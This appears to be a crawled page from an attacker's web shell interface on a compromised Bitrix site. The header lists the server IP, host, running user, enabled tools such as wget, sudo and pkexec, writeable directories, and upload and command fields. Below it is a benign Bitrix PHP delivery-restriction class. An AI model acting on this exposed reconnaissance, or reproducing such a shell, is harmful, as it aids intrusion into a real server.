403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/delivery/restrictions/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/delivery/restrictions/bypublicmode.php
<?php
namespace Bitrix\Sale\Delivery\Restrictions;

use Bitrix\Main\Application;
use Bitrix\Sale\Delivery\Restrictions;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sale\Internals\Entity;

Loc::loadMessages(__FILE__);

/**
 * Class ByPublicMode
 * @package Bitrix\Sale\Delivery\Restrictions
 */

class ByPublicMode extends Restrictions\Base
{
	public static function getClassTitle()
	{
		return Loc::getMessage("SALE_DLVR_RSTR_BY_PUBLIC_MODE_NAME");
	}

	public static function getClassDescription()
	{
		return Loc::getMessage("SALE_DLVR_RSTR_BY_PUBLIC_MODE_DESCRIPT");
	}

	public static function check($dummy, array $restrictionParams, $deliveryId = 0)
	{
		$context = Application::getInstance()->getContext();
		$request = $context->getRequest();

		if (empty($restrictionParams) || $request->isAdminSection() || (defined("BX_PUBLIC_MODE") && BX_PUBLIC_MODE == true))
			return true;

		return $restrictionParams["PUBLIC_SHOW"] == 'Y';
	}

	protected static function extractParams(Entity $shipment)
	{
		return null;
	}

	public static function getParamsStructure($entityId = 0)
	{
		return array(
			"PUBLIC_SHOW" => array(
				'TYPE' => 'Y/N',
				'VALUE' => 'Y',
				'LABEL' => Loc::getMessage("SALE_DLVR_RSTR_BY_PUBLIC_MODE_SHOW")
			)
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit